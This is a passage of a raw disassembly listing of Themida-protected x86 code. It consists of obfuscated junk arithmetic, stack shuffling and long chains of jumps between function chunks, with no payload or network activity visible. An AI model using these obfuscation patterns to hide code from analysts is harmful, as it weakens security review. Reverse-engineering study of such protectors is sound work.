		jmp	loc_59469D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_593D33:				; CODE XREF: sub_5916C4-2510j
		pop	eax
		add	bl, 0E6h
		add	al, 88h
		add	al, bl
		sub	al, 88h
		pop	ebx
		push	edx
		jmp	loc_58D557
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_593D44:				; CODE XREF: Themida_:00594D3Bj
		push	cx
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_593D4C:				; CODE XREF: Themida_:0058E870j
		sub	ebx, 34922172h
		push	0
		sub	[esp], ebx
		mov	ebx, [esp]
		jmp	loc_592C51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_593D62:				; CODE XREF: sub_5916C4:loc_591CEEj
		shr	esi, 5
		jmp	loc_593CC1
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_593D6A:				; CODE XREF: Themida_:0058FB04j
		push	ecx
		mov	ecx, 4
		sub	edi, 1C1C4E25h
		add	edi, ecx
		add	edi, 1C1C4E25h
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		movsx	ecx, ax
		push	27A8h
		mov	[esp], ecx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_593D9E:				; CODE XREF: Themida_:0058B591j
		mov	[esp], ebp
		push	663F71A6h
		pop	ebp
		shr	ebp, 4
		jp	loc_593F88
		sub	ebp, 4D3B1F2Eh
		jmp	loc_594AD9
; ---------------------------------------------------------------------------


loc_593DBB:				; CODE XREF: Themida_:00595A3Cj
		mov	[esp], edx
		jmp	loc_590BDC
; ---------------------------------------------------------------------------


loc_593DC3:				; CODE XREF: Themida_:0058EE19j
					; Themida_:0058FEF0j
		pop	ecx
		push	ebx
		push	edx
		mov	dl, 0ABh
		mov	bh, dl
		jmp	loc_5958F7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	31CDh
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_596B49
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_58FE01
; ---------------------------------------------------------------------------


loc_593DF8:				; CODE XREF: Themida_:00597774j
		push	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	6AC6h
		mov	[esp], esi
		mov	esi, 1DE1626h
		shr	esi, 5
		xor	esi, 0EF0B5h
		sub	eax, 0AC76770h
		jmp	loc_58A5F2
; ---------------------------------------------------------------------------


loc_593E23:				; CODE XREF: Themida_:00594799j
		not	ah
		or	ah, 12h
		shl	ah, 4
		add	ah, 0D1h
		push	ecx
		mov	cl, 0F0h
		xor	cl, 42h
		shl	cl, 6
		shr	cl, 3
		jmp	loc_58A873
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_593E3F:				; CODE XREF: sub_595BDA:loc_58DED8j
		jmp	loc_58B22C
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------


loc_593E44:				; CODE XREF: Themida_:0058A768j
		pop	edx
		push	ebp
		xor	dword ptr [esp], 64F20A58h
		pop	ebx
		xor	ebx, 64F20A58h
		jmp	loc_58D65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_593E59:				; CODE XREF: sub_5916C4-5F5Aj
		sub	eax, 36DA3842h
		push	edx
		mov	edx, eax
		mov	ecx, edx
		jmp	loc_590B9E
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_593E68:				; CODE XREF: Themida_:00593776j
		sub	ebx, edx
		jmp	loc_596DB4
; ---------------------------------------------------------------------------


loc_593E6F:				; CODE XREF: Themida_:0058AA85j
		push	edi
		mov	edi, 29C5ABF9h
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		push	44E2235Ah
		pop	eax
		xor	eax, 62E12928h
		jmp	loc_5960EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_593E9B:				; CODE XREF: sub_58F5B5-3CD2j
		or	eax, eax
		jz	loc_5907E1
		push	dword ptr [edi+1Ch]
		push	[esp-4+arg_0]
		jmp	loc_590D34
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_593EAE:				; CODE XREF: sub_590010-4875j
		mov	esi, [esp-10h+arg_C]
		jmp	loc_58C13B
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_593EB6:				; CODE XREF: sub_58F5B5-3A26j
		mov	[esp-8+arg_4], ebx
		jmp	loc_5919AD
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_593EBE:				; CODE XREF: sub_5EC2E8-585DEj
		mov	ebp, 1CB660BBh
		neg	ebp
		sub	ebp, 6A810DFAh
		xor	ebp, 76C4F278h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, edi
		jmp	loc_591C9E
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_593EDB:				; CODE XREF: Themida_:00595735j
		pop	eax
		push	3259h
		mov	[esp], esi
		mov	esi, 6EEB32EBh
		shl	esi, 6
		dec	esi
		sub	esi, 11EC4B1Dh
		push	0
		sub	[esp], esi
		jmp	loc_592059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BA12


loc_593F00:				; CODE XREF: sub_58BA12+8E70j
		xchg	edi, ebp
		push	edx
		mov	edx, 0C0FA05B1h
		xor	ebp, edx
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		sub	ebx, ebp
		jmp	loc_592E67
; END OF FUNCTION CHUNK	FOR sub_58BA12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593F18:				; CODE XREF: sub_59762D-2118j
					; sub_58C17E+B6FFj
		mov	ebx, 6ADC4F39h
		sub	ebx, 5C4BE992h
		add	edi, ebx
		pop	ebx
		jmp	loc_5922FF
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_593F2B:				; CODE XREF: Themida_:00597FB4j
		push	24633F5Eh
		jmp	loc_58CAED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593F35:				; CODE XREF: sub_58C17E+6570j
		pop	ecx
		pop	edx
		push	ecx
		mov	ecx, 4
		jmp	loc_58C059
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC96


loc_593F42:				; CODE XREF: sub_58EC96+5DD1j
		pop	ax
		add	cl, 6
		sub	cl, 85h
		sub	cl, bh
		add	cl, 85h
		sub	cl, 6
		jmp	loc_58BCCD
; END OF FUNCTION CHUNK	FOR sub_58EC96
; ---------------------------------------------------------------------------


loc_593F57:				; CODE XREF: Themida_:0058EAC7j
		mov	ebp, 58CE28DBh
		push	edx
		mov	edx, 50B4622Ch
		and	edx, 1151499Ah
		jmp	loc_58D670
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_58FA09
; ---------------------------------------------------------------------------


loc_593F73:				; CODE XREF: Themida_:0058B9B5j
		or	dh, 0AEh
		ja	loc_58C626
		sub	dh, 0C0h
		mov	cl, dh
		jmp	loc_58F89A
; ---------------------------------------------------------------------------
		mov	ah, 46h


loc_593F88:				; CODE XREF: Themida_:00593DAAj
		sub	ebp, 4D3B1F2Eh
		jmp	loc_58C0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_593F93:				; CODE XREF: sub_5916CB+2514j
		add	esi, edx
		add	esi, 269B42BCh
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		sub	esi, 2821494h
		add	esi, 14BF35EEh
		add	esi, eax
		sub	esi, 14BF35EEh
		add	esi, 2821494h
		push	ebp
		push	eax
		jmp	loc_58BAB2
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_593FC2:				; CODE XREF: Themida_:00595AF9j
		mov	[esp], ecx
		mov	cl, 0EFh
		add	al, 62h
		add	al, 0CEh
		sub	al, cl
		jmp	loc_58EA90
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		jmp	loc_59504C
; ---------------------------------------------------------------------------


loc_593FE3:				; CODE XREF: Themida_:005906E8j
					; Themida_:00596224j
		pop	ecx
		pop	edi
		jmp	loc_58FE71
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_593FF2:				; CODE XREF: sub_58F5B5+6CE1j
		push	eax
		push	[esp-4+arg_4]
		pop	eax
		pop	[esp-4+arg_0]
		pop	esp
		mov	[esp-0Ch+arg_8], ebx
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		push	ecx
		jmp	loc_58F677
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_59400B:				; CODE XREF: Themida_:0058B494j
		mov	edi, esp
		push	edx
		mov	edx, 284B33B3h
		not	edx
		add	edx, 77030FFBh
		xor	edx, 4EB7DC43h
		add	edi, edx
		jmp	loc_58EFB1
; ---------------------------------------------------------------------------


loc_594028:				; CODE XREF: Themida_:0058A88Bj
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_597431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_594037:				; CODE XREF: sub_595E21-10j
		sub	eax, 7DB64511h
		sub	eax, edx
		add	eax, 7DB64511h
		jmp	loc_59321F
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_594048:				; CODE XREF: sub_59762D+713j
		mov	ah, 0ECh
		inc	ah
		xor	ah, 0BBh
		add	ch, ah
		pop	eax
		sub	ch, bl
		sub	ch, 56h
		jmp	loc_592A3A
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59405C:				; CODE XREF: sub_590467-2BD8j
		not	edi
		push	edx
		push	ebp
		mov	ebp, 1F9E23AFh
		xor	ebp, 32424DD5h
		jns	loc_58A723
		and	ebp, 2E86331Eh
		or	ebp, 400507A8h


loc_59407D:				; CODE XREF: sub_590B70+1824j
		pop	eax
		and	ebp, ebx
		pop	ebx
		sub	ebp, 0EEFD9FECh
		xor	eax, ebp
		pop	ebp
		push	ebp
		jmp	loc_58FE0E
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_594090:				; CODE XREF: sub_591059-44B3j
		mov	eax, [esp+4+var_4]
		jmp	loc_595DB6
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------


loc_594098:				; CODE XREF: Themida_:005953E5j
		jns	loc_58F304
		add	ebp, 3EED7CF3h
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_58C352
; ---------------------------------------------------------------------------


loc_5940AE:				; CODE XREF: Themida_:00593AD5j
		inc	bl
		push	ecx
		mov	ch, 63h
		jmp	loc_5912EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BA12


loc_5940B8:				; CODE XREF: sub_58BA12+12j
		pop	esp
		push	ebp
		mov	ebp, 190807E6h
		not	ebp
		jmp	loc_591697
; END OF FUNCTION CHUNK	FOR sub_58BA12
; ---------------------------------------------------------------------------


loc_5940C6:				; CODE XREF: Themida_:0058E33Aj
		mov	[esp], esi
		mov	esi, 6A59796Dh
		shr	esi, 5
		jnz	loc_594EA7
		xor	esi, 5E1109A9h
		shr	esi, 5
		inc	esi
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_58F836


loc_5940E2:				; CODE XREF: sub_58F836-3E08j
		sub	ebp, 0FFFFFFFFh
		and	ebp, 284340Ch
		not	ebp
		inc	ebp
		jmp	loc_58FDEA
; END OF FUNCTION CHUNK	FOR sub_58F836
; ---------------------------------------------------------------------------


loc_5940F3:				; CODE XREF: Themida_:0058DE54j
		jmp	loc_58F3FA
; ---------------------------------------------------------------------------


loc_5940F8:				; CODE XREF: Themida_:0058CED2j
		push	35922D5Bh
		pop	edx
		dec	edx
		inc	edx
		or	edx, 115D2797h
		jmp	loc_591F90
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	edi
		push	ecx
		mov	ecx, 4
		mov	edi, ecx
		pop	ecx
		push	ecx
		jmp	loc_58FBD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DBC4


loc_594127:				; CODE XREF: sub_58DBC4-B0j
		mov	esp, [esp+0]
		and	eax, ebp
		jmp	loc_58C119
; END OF FUNCTION CHUNK	FOR sub_58DBC4

; =============== S U B	R O U T	I N E =======================================



sub_594131	proc near		; CODE XREF: sub_5938B9-19D7j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058CB31 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F072 SIZE 0000001F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 0E526BC8h
		jmp	loc_58CB31
sub_594131	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_594144:				; CODE XREF: sub_58F5B5+E6j
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		jmp	loc_597D55
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_594156:				; CODE XREF: Themida_:00591760j
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_592F12
; ---------------------------------------------------------------------------


loc_594165:				; CODE XREF: Themida_:0058D248j
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	esi
		mov	esi, 0B6C50D4h
		neg	esi
		add	esi, 79ED0D0Bh
		xor	esi, 42E9361Bh
		xor	esi, 102A27A2h
		xor	esi, 3C43AD8Ah
		jmp	loc_58D0F1
; ---------------------------------------------------------------------------


loc_5941A2:				; CODE XREF: Themida_:0058BBC5j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_594FF3
; ---------------------------------------------------------------------------


loc_5941B1:				; CODE XREF: Themida_:0058D84Dj
		push	edi
		mov	edi, 53DF343Ch
		mov	ebp, 777E653Bh
		xor	ebp, edi
		pop	edi
		shl	ebp, 8
		push	ecx
		jmp	loc_597586
; ---------------------------------------------------------------------------


loc_5941C8:				; CODE XREF: Themida_:00596E78j
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5941D6:				; CODE XREF: sub_58C17E+5541j
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_58D92B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_5941ED:				; CODE XREF: Themida_:00597D8Fj
		sub	esp, 4
		jmp	loc_5958D0
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		jmp	loc_591495
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_594200:				; CODE XREF: sub_58D99C+4E9Ej
		ja	loc_591149
		sub	ebx, 1411871Fh
		and	ecx, ebx
		mov	ebx, [esp+8+var_8]
		push	ebx
		mov	ebx, esp


loc_594214:				; CODE XREF: Themida_:00596607j
		sub	ecx, ebp
		pop	ebp
		xor	ecx, [esp+8+var_8]
		jmp	loc_5915DB
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------


loc_59421F:				; CODE XREF: Themida_:005930E0j
		push	ebp
		mov	ebp, 40CC1EF1h
		shr	ebp, 8
		xor	ebp, offset loc_40CC1A
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_596DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59423F:				; CODE XREF: Themida_:0058F056j
					; sub_5916C4+3050j
		not	eax
		jmp	loc_590631
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_594246:				; CODE XREF: Themida_:0059319Dj
		push	1978h
		mov	[esp], ecx
		push	edx
		push	eax
		push	ebx
		mov	bh, 0F8h
		mov	ah, bh
		pop	ebx
		jmp	loc_593215
; ---------------------------------------------------------------------------


loc_59425B:				; CODE XREF: Themida_:005904C4j
		neg	esi
		jmp	loc_595898
; ---------------------------------------------------------------------------


loc_594262:				; CODE XREF: Themida_:0058E5E9j
		pop	edi
		neg	ebx
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 83E6F0CEh
		sub	esi, ebx
		pop	ebx
		sub	esi, edi
		push	edx
		push	esi
		jmp	loc_58B854
; ---------------------------------------------------------------------------


loc_59427D:				; CODE XREF: Themida_:0058DE4Ej
		push	edi
		mov	edi, 2
		add	ebx, 1F1069F7h
		add	ebx, edi
		jmp	loc_59536A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_594290:				; CODE XREF: sub_5EC2E8-5974Cj
		mov	esp, [esp+16h+var_16]
		mov	[esp+16h+var_16], eax
		jmp	loc_58A801
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_59429B:				; CODE XREF: Themida_:0058D8D0j
		and	edi, 30C80434h
		js	loc_59225D
		add	edi, 68D06334h
		jmp	loc_58F9AE
; ---------------------------------------------------------------------------


loc_5942B2:				; CODE XREF: Themida_:0058B907j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_597FF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_5942C0:				; CODE XREF: sub_595E21+1DD3j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	7BF0h
		mov	[esp+10h+var_10], ecx
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		push	1
		pop	edx
		jmp	loc_58B7F4
; END OF FUNCTION CHUNK	FOR sub_595E21

; =============== S U B	R O U T	I N E =======================================



sub_5942E3	proc near		; CODE XREF: sub_590467-2C10j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B01C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BA75 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059033C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00590D69 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00592540 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059283F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059393E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005939EA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595F54 SIZE 00000029 BYTES

		push	ebp
		mov	ebp, 56B579BBh
		shr	ebp, 6
		xor	ebp, 34C522DBh
		neg	ebp
		add	ebp, 32727084h
		shl	ebp, 1
		add	ebp, 52D17DF8h
		jmp	loc_5939EA
sub_5942E3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_594307:				; CODE XREF: sub_59762D-CEA1j
		push	edi
		mov	edi, 8DF9C78Eh
		jmp	loc_5964B8
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_594312:				; CODE XREF: Themida_:00592C30j
		pop	dword ptr [esp]
		jmp	loc_592E6F
; ---------------------------------------------------------------------------


loc_59431A:				; CODE XREF: Themida_:00596986j
		pop	ebp
		add	dword ptr [esp], 7D17A4Eh
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_594327:				; CODE XREF: Themida_:0058F16Dj
		mov	ebx, 2Ch
		add	ebx, 7AF439E1h
		sub	ebx, 19387EE3h
		add	ebx, edi
		add	ebx, 19387EE3h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 341E5FDBh
		shr	esi, 3
		jmp	loc_596386
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_594356:				; CODE XREF: sub_58F5B5+4449j
		pop	ebx
		mov	edi, ebp
		jmp	loc_59798B
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_59435E:				; CODE XREF: Themida_:00593195j
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_58E43D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_594371:				; CODE XREF: sub_5938B9-9023j
		sub	bl, cl
		pop	cx
		sub	bl, 66h
		movzx	eax, al
		mov	dx, [esp+0]
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp+6+var_6], ebp
		jmp	loc_58C7DE
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_594390:				; CODE XREF: Themida_:0058F85Aj
					; sub_5916C4+3D71j
		mov	ecx, [esp+0]
		add	esp, 4
		pop	edx
		sub	al, bl
		jmp	loc_58B632
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59439E:				; CODE XREF: Themida_:0058AD29j
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_590E0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5943BF:				; CODE XREF: sub_5916C4+5600j
		push	3DFDh
		mov	[esp-6+arg_0+2], eax
		jmp	loc_58F259
; ---------------------------------------------------------------------------


loc_5943CC:				; CODE XREF: sub_5916C4-1939j
		pop	eax
		jmp	sub_5916CB
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5943D2:				; CODE XREF: Themida_:0059321Aj
		push	edi
		mov	edi, esp
		jmp	loc_594746
; ---------------------------------------------------------------------------


loc_5943DA:				; CODE XREF: Themida_:0058B85Fj
		sub	esi, 718E0A0Fh
		push	edi
		mov	edi, 71F21419h
		jmp	locret_58E754
; ---------------------------------------------------------------------------


loc_5943EB:				; CODE XREF: Themida_:0058AECEj
		mov	eax, [esp]
		jmp	loc_5925FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_5943F3:				; CODE XREF: sub_590010:loc_58F12Aj
		shl	ecx, 2
		jns	loc_58CBED
		add	ecx, 0E4CF820Dh
		mov	esi, ecx
		pop	ecx
		jmp	loc_590CB7
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_59440A:				; CODE XREF: sub_595655+293Dj
		dec	esi
		xor	esi, 607021C3h
		xor	edx, esi
		pop	esi
		sub	edx, 6A2E8DF8h
		and	ebx, edx
		pop	edx
		or	ebx, 54685089h
		shr	ebx, 6
		add	ebx, 48E8AEC6h
		sub	ebp, ebx
		pop	ebx
		sub	esi, 2CFD2B33h
		add	esi, 220B2D76h
		jmp	loc_58D27D
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_594440:				; CODE XREF: sub_595E21+128Aj
		push	156h
		mov	[esp+0], ecx
		mov	ecx, 65526119h
		jmp	loc_597A80
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_594452:				; CODE XREF: Themida_:00597345j
		or	bh, 4Bh
		shr	bh, 3
		sub	bh, 0DFh
		add	al, bh
		mov	ebx, [esp]
		push	ecx
		jmp	loc_59567A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DBC4


loc_594466:				; CODE XREF: sub_58DBC4+5279j
		mov	esi, esp
		jmp	sub_58EB1F
; END OF FUNCTION CHUNK	FOR sub_58DBC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_59446D:				; CODE XREF: sub_590010+D91j
		pop	edx
		xchg	ebx, [esp+4+var_4]
		jmp	loc_58C51B
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_594476:				; CODE XREF: sub_59762D-77D2j
		jmp	loc_5909F8
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_59447B:				; CODE XREF: Themida_:00593AB2j
		push	edi
		mov	edi, 4
		push	edi
		jmp	loc_594608
; ---------------------------------------------------------------------------


loc_594487:				; CODE XREF: Themida_:0058A470j
		push	dword ptr [esp+4]
		jmp	loc_58B2B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_594490:				; CODE XREF: Themida_:0058DE24j
					; sub_590467+FF6j
		mov	eax, [esp+0Ah+var_A]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_592CAD
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_5944A7:				; CODE XREF: Themida_:0059725Aj
		sub	esi, 0C12CD789h
		add	eax, 140C78A2h
		add	eax, 5F5D17BEh
		jmp	loc_596BD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_5944BC:				; CODE XREF: sub_595123-77EFj
		pop	ebx
		add	esp, 4
		jmp	loc_58F42A
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_5944C8:				; CODE XREF: Themida_:0058DE1Ej
		jmp	loc_591533
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4EA7h
		jmp	loc_59458B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		jmp	loc_5978D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_5944E5:				; CODE XREF: sub_590010-E3Aj
		or	eax, eax
		jz	sub_58F5B5
		push	dword ptr [edi+1Ch]
		jmp	loc_5904E6
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_5944F5:				; CODE XREF: Themida_:00590741j
		push	ebx
		mov	ebx, 55B465D3h
		neg	ebx
		ja	loc_58F846
		not	ebx
		add	ebx, 41EA2DDDh
		jnb	loc_58E86A
		sub	ebx, 296387ABh
		jmp	loc_58DB45
; ---------------------------------------------------------------------------


loc_59451C:				; CODE XREF: Themida_:00592F43j
		pop	cx
		pop	small word ptr [esp]
		push	bx
		mov	bx, 2
		sub	word ptr [esp+2], 19D6h
		add	[esp+2], bx
		add	word ptr [esp+2], 19D6h
		pop	bx
		jmp	loc_58E78F
; ---------------------------------------------------------------------------


loc_594542:				; CODE XREF: Themida_:0058D0B7j
		push	5488h
		mov	[esp], edx
		mov	edx, 2
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_596969
; ---------------------------------------------------------------------------


loc_594566:				; CODE XREF: Themida_:0058F125j
		push	eax
		mov	eax, 599D6AFEh
		jmp	loc_59572E
; ---------------------------------------------------------------------------


loc_594571:				; CODE XREF: Themida_:00596E58j
		pop	ecx
		mov	bh, [esp+2]
		mov	[esp+2], ah
		jmp	loc_596C5D
; ---------------------------------------------------------------------------


loc_59457F:				; CODE XREF: Themida_:005958FEj
		and	bh, 7Eh
		push	small 5084h
		jmp	loc_596EAC
; ---------------------------------------------------------------------------


loc_59458B:				; CODE XREF: Themida_:005944D6j
		mov	[esp], ebp
		jmp	loc_591AD9
; ---------------------------------------------------------------------------


loc_594593:				; CODE XREF: Themida_:0058CCA0j
		ja	loc_593598
		jmp	loc_59499A
; ---------------------------------------------------------------------------
		mov	dh, 0FEh
		dec	dh
		mov	esi, ecx
		mov	ch, bl
; START	OF FUNCTION CHUNK FOR sub_590467


loc_5945A6:				; CODE XREF: sub_590467-25E0j
		pop	ebp
		mov	dword ptr [edx], 1
		mov	edx, [esp-6+arg_0+2]
		add	esp, 4
		push	esi
		mov	esi, 7E0C27E0h
		sub	esi, 3BCF57CAh
		jbe	loc_592268
		shl	esi, 3
		jmp	loc_597C92
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_5945D0:				; CODE XREF: Themida_:0058DE06j
		shr	ecx, 3
		xor	ecx, 39B0A706h
		mov	eax, ecx
		jmp	loc_58E300
